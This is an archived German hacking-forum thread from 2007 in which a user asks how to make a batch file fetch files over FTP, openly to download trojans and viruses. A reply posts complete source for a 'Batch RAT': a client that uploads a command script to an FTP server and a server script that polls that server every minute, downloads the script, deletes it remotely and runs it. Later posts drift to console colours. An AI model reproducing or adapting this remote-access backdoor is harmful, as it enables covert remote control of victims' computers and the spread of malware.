PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : sich mit einer bat auf einen ftp server verbinden



IcE_FiGhTeR
21.07.2007, 17:17
Ich habe vor eine bat zu erstellen mit der man sich auf einer FTP server connecten kann und bestimmte sachen runterladen. Ok um sich auf einen FTP server über cmd zu connecten muss man ja
ftp http://blablabla.la.funpic.de/ ok wenn ich das eingebe steht dann rechts :" Unbekannter Host" . Wenn ich dann eine Datei runterladen will
get blablabla.exe steht das ich nicht verbunden bin. Und wenn ich mich dann verbinden wll
user (name) (Paswort) steht dann schon wieder das ich nicht verbunden bin.

Ich brauche das damit die Batch viele "Server.exe" ladet und andere Trojner/Viren.

Alter-Ego
21.07.2007, 17:19
Versuch mal

ftp blablabla.la.funpic.de

oder

ftp
open blablabla.la.funpic.de
http:// hat bei FTP nichts zu suchen und der / am ende ist auch unnötig.

born2die
21.07.2007, 18:02
Also hab huer nen Code vom Batch RAT geschrieben von Dr.ChAoS

Client:

@echo off
color 0A
set ftpsrv=
set user=
set pass=
set ftpexe=%windir%\system32\ftp.exe
:ftp
echo Batch-RAT Client:
echo [1]cmd.bat senden
echo [2]beenden
set /p a=
if "%a%"=="1" goto connect
if "%a%"=="2" goto exit
goto ftp
:connect
> "con1.ftp" echo open %ftpsrv%
>> "con1.ftp" echo %user%
>> "con1.ftp" echo %pass%
echo send cmd.bat >> con1.ftp
>> "con1.ftp" echo bye
%ftpexe% -s:con1.ftp
del con1.ftp
goto ftp
:exit
exit

cmd.bat:


@echo off
echo Hallo
pause
exit(Darf und muss eigentlich geändert werden sonst hat der gnaze RAT keinen sinn ^^)

Server.bat:


@echo off
color 0A
echo BATCH#### ######## ########
echo ## ## ## ## ##
echo ## ## ## ## ## # ######
echo ######### ######## ## ### # #
echo #### ## ## ## ## ## ## # #
echo ## ## ## ## ## ## ## ## # #
echo ## ## ## ## ## ## ## # ######
echo by Dr.ChAoS
set ftpsrv=
set user=
set pass=
set ftpexe=%windir%\system32\ftp.exe
set ftpexe=%windir%\system32\ftp.exe
:ftp
> "con1.ftp" echo open %ftpsrv%
>> "con1.ftp" echo %user%
>> "con1.ftp" echo %pass%
if exist %cmd.bat goto delcmd
:get
echo get cmd.bat >> test1.bat >> con1.ftp
echo delete cmd.bat >> con1.ftp
>> "con1.ftp" echo bye
%ftpexe% -s:con1.ftp
del con1.ftp
start cmd.bat
ping 127.0.0.1 -n 61 >nul
goto ftp

:delcmd
del cmd.bat
goto get


Ich hoffe irgendwas davon bringt dich weiter...

born2die

IcE_FiGhTeR
21.07.2007, 18:13
danke für eure Hilfe^^ THX

Barny
07.09.2007, 14:12
ich finde dne Colorbefehl voll geil!
Aber wenn ich meien Cmd dann neustarte,dann is die Schriftfarbe ja wieder standard.Kann man das ändern?also das standardmäßig die Farbe "0A" gesetzt ist?

f!l3st0rm
07.09.2007, 18:03
In der Registry:


[HKEY_CURRENT_USER \Software \Microsoft \Command Processor] DefaultColor = 0F

oder wie wär's unter Eigenschaften^^ - Farbe...

(oder wenn Du das in "autoexec.bat" oder "autoexec.NT" reinschreibst müsste das gehen - hab ich aber noch nie probiert) .

Barny
08.09.2007, 12:06
omg^^
thx!
Aber das ich nich schon früher auf die Eigenschaften gekommen bin :D

mfg

Barny

aL1ien
08.09.2007, 12:17
der " RAT " ist ja mal geil ;)
thx